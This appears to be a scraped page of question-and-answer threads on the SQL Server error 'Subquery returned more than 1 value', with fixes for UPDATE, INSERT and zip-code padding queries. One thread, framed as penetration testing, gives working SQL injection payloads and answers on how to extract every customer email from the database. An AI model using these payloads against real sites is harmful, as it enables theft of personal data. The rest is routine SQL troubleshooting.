What caused the difference between these two code blocks? - sql-server

I use two blocks to seek the same outcome, i.e assign an associated value to a new created column.
Block 1: worked
UPDATE dbo.MyTable
SET [BorrowerAccountId]=a.Account_Id
FROM dbo.MyTable m
JOIN dbo.Account a
ON m.AppReference=a.App_Reference
Block 2: not worked.
It return: "Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression."
UPDATE dbo.MyTable
SET [BorrowerAccountId]=(SELECT DISTINCT Account_Id
FROM dbo.Account a
WHERE a.App_Reference=AppReference)
Actually, I had checked the table dbo.Account and get to know one App_Reference can only have one Account_Id. So the problem seemed irrelevant to the data structure in table dbo.Account.
I think it should be the issue of the clause's working machanism. I may miss something.
Cheers

In Block 2, I think it returned a table data with all Account_Id's such that the associated App_Reference can be found at least once in table MyTable. So it contained multiple value legitimately.

Related

SQL Server Sub query with multiple results

I am attempting to populate an existing bridge table from a table that exists as a template for how items are populated into the bridge table.
I am attempting to do a new insert into the bridge table (dbo.ECN_ChecklistItem) where the list of items from dbo.ECN_ChecklistItem (SELECTed by ECNID (a foreign key ID)) differs from dbo.BusinessUnit_ChecklistItem (SELECTed by BusinessUnit and InUse).
I get a SQL exception stating that "Sub query returned more than 1 value. This is not permitted when the sub query follows follows =, !=, <, <= , >, >= or when the subquery is used as an expression."
I have attempted to modify the query to include an 'in' operator rather than a '=' operator, however that was not successful either. I may have done it incorrectly.
CREATE PROCEDURE checkCurrentChecklistItemsAgainstInUseItems
--Parameters
#ECNID INT, --I need the ECNID to do the search properly.
#BU NVARCHAR(50),
#Date NVARCHAR(10), --This is the date that the checklist item was added to the ECN.
#NewStatus NVarchar(3) --This is based off of the status of the ECN, will either be '?' or 'No'
AS
BEGIN
DECLARE #System NCHAR(6)='SYSTEM'
DECLARE #Message NVARCHAR(50) = 'This value was added by the system automatically.'--Not in use.
SET NOCOUNT ON;
INSERT INTO dbo.ECN_ChecklistItem (ECNID, Required, LogBy, LogDate, Description, CheckName)
VALUES(#ECNID, #NewStatus, #System, #Date, NULL,
(Select ChecklistItem FROM dbo.BusinessUnit_ChecklistItem WHERE BusinessUnit Like #BU
EXCEPT SELECT CheckName FROM dbo.ECN_ChecklistItem WHERE ECNID Like #ECNID))
END
GO
The rest of the Insert Statement is towards a single row. However, the subquery might be returning (or has the possibility of returning) multiple rows. Whenever this situation occurs, SQL Server puts up this.
You might want to examine, by running the subquery separately as a query to find whether multiple rows are being returned even as you "assume" that there will be only row returned.
If it does indeed multiple rows, then you will need to handle that situation separately depending on your logic.
However, if you are sure only one row is being returned, you can always a MAX or MIN or TOP 1 . Although they are inconsequential when a single row is being returned, they will avoid the 'subquery returned mutliple' error.
Edit :
If you indeed want multiple rows to be inserted, replace the Values phrase, with the complete select phrase, with values for all the other fields remaining as fixed values (# ones), and the value for CheckName coming from the select statement. Select #..., #..., #...., .... CheckListItem From .... Where BusinessUnit Like ... Except... and so on.

SQL Server injection point

While doing penetration tests I found a SQL injection point in SQL Server.
I manage to use this
' UNION ALL SELECT
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,email
from customers where customer_id =10--
This is giving me the email for user ID 10. If I change the ID number it will give me other results.
Is there any way to get all the emails in one query?
Thanks
UPDATE
Using
' or 1=convert(int,(select top 1 email from customers))--
I am getting the first email. By changing to 10 for example I am getting
[OleDbException (0x80004005): Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.]
Any ideas?
Just leave the where clause off altogether. It's the thing limiting what's coming out of the partial query. In other words, something like:
' union all select <too many nulls to retype>, email from customers --
If that only gets you one row then it's a fairly safe bet that the code running the website is enforcing that limit, such as if appending something like fetch first row only or limit 1 or something like that.
If that's the case, you'll need to keep the where clause in and automate the attack one ID at a time. You may also need to ensure that the "real" row is after the injection-obtained row so that the former won't be retrieved in preference to the the latter. A lookup key that you know isn't in the database would do the trick.
You could try and stuff them all into a CSV, depending on the length of the output? That means if you're limited to one row you should get it back?
Try missing out the where clause and using the following:
' union all select <nulls>, SUBSTRING((select ',' + email from customer order by email for xml path('')), 2, 1000000) --
You specify this WHERE clause to return all customers:
WHERE customer_id = customer_id--

Update zipcode to Pad with Zeros in SQL SERVER 2012

I have a table with a Zipcode column.
The Zipcode column is an int.
How to I update this column to show padded zeros such that all values are 5 digits?
I know how to do this as a SELECT statement, but I don't know how to then update the coulmn in the table. Below is my best effort.
USE RTCA_new
GO
UPDATE tbl_BASE
SET Zipcode = (
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
)
The resulting error is:
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.
The statement has been terminated.
In short, I would like a zipcode value 802 to display as 00802
As you've probably figured out, zip codes can start with 0. integers in sql server do not allow for 0 padding.
I see your options as:
always padding it in the select
changing the column type to a more appropriate varchar and padding that with 0s up to 5 characters. (you should do this preferably)
Steps for new columns:
Create new varchar(5) column for zipCode (newZipCode as example)
populate the newZipCode column as:
update tbl_base
set newZipCode = right('00000' + cast(zipCode as varchar(5)), 5)
drop your int zipcode column
rename your newZipCode column to zipCode
The specific reason for your error:
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression. The statement has been terminated.
In the query:
UPDATE tbl_BASE
SET Zipcode = (
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
)
Is because you have a logic error or similar in your statement. you're attempting to set a scalar value (ZipCode) to a set's value (your select format... statement.)
the statement:
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
by itself would return a row for every row in the table, you can't set a whole result set to a scalar value. The immediate error can be fixed as so:
UPDATE tbl_BASE
SET Zipcode = FORMAT(Zipcode, '00000')
this would return a single value for zipcode... though again due to your current table schema, this would not give you the result you're hoping as integers can't be padded with 0s
It works different:
Update tbl_BASE set zipcode = right('000000' + zipcode, 6)
It's probably best to change the database design if possible (even though you might save a tiny bit of storage in the row by not using a string value.) If you do just need to convert it only for display purposes it's just a question of conversion.
select right('00000' + cast(zipcode as varchar(5)), 5) from T...
-- for use format() on later editions of SQL Server
By the way I would still recommend doing some reading about update to explore why you didn't really want a subquery for what you were trying to accomplish.
You could add a computed column to the table if you need this conversion to happen on the fly. Seeing that you were trying to update a column with a formatted value is probably evidence that the biggest problem was indeed a misunderstanding of data types as has already been pointed out.
You will need to change your datatype for the Zipcode column to varchar. Once you do that, you could use replicate, concat and right functions to format your data:
UPDATE tbl_BASE
SET zipcode = right(CONCAT(
replicate('0', 5)
,cast(zipcode as varchar(5))
), 5)

Stored procedure error .. Inserting columns from one table to another

I have stored procedure in which i am trying to insert two columns in a table, value of one column is from another table and the value of second column is constant and passed in the parameter.
I think i will have to use a loop of somekind but I have no idea how. Kindly help
MY stored Procedure
CREATE PROCEDURE sp_MTS_MTS_MemberTracking_request
-- Add the parameters for the stored procedure here
#monthYear datetime
AS
select [MemberId] from [dbo].[MTS_Members] where Is_Active='true'
insert into [dbo].[MTS_MemberTracking] (MemberId,MonthYear)values ((select [MemberId]
from [dbo].[MTS_Members]
where Is_Active='true'),#monthYear)
Error
Msg 512, Level 16, State 1, Line 1
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.
The statement has been terminated.
Since there can be more than one record in MTS_Members having Is_Active='true' you can't insert it using insert... values syntax.
If you really want to insert IDs of all "active" records then just change your query to:
insert into [dbo].[MTS_MemberTracking] (MemberId,MonthYear)
select [MemberId], #monthYear
from [dbo].[MTS_Members]
where Is_Active='true'
or, if it should be exactly one record to insert - you have to change where condition of your select to return exactly one MemberId, store that ID in some variable and use in insert... values construction.

SQL Server: copy a row and insert into a new row with a different ID

I want to copy a row from a given table and insert into a new row in the same table with a different ID for a column.
query:
INSERT INTO ESurvey_Question(QuestionTypeID, Question, HoriVertID, IsMandatory, FillIn, QuestionRank, Choice_Limit,SurveyID )
SELECT
QuestionTypeID, Question, HoriVertID, IsMandatory, FillIn, QuestionRank,
Choice_Limit, #NewSUID as SurveyID
FROM ESurvey_Question
WHERE SurveyID = #ExistingSUID
#ExistingSUID= 64
##NewSUID = 115
Here SurveyID is the foreign key, and I want to change it with the new ID.
QuestionID is the primary key (IDENTTITY).
I am getting this error:
Subquery returned more than 1 value.
This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.
I tested a similar statement on my local machine and dont get any errors. However, your error message tells us you are using a subquery, but you arent actually doing that here.
Is there some code missing? Maybe SurveyID = #ExistingSUID is set via subquery? If so, as the error message tells, there cant be more than one result. (If you need this, use SurveyID IN ...

Resources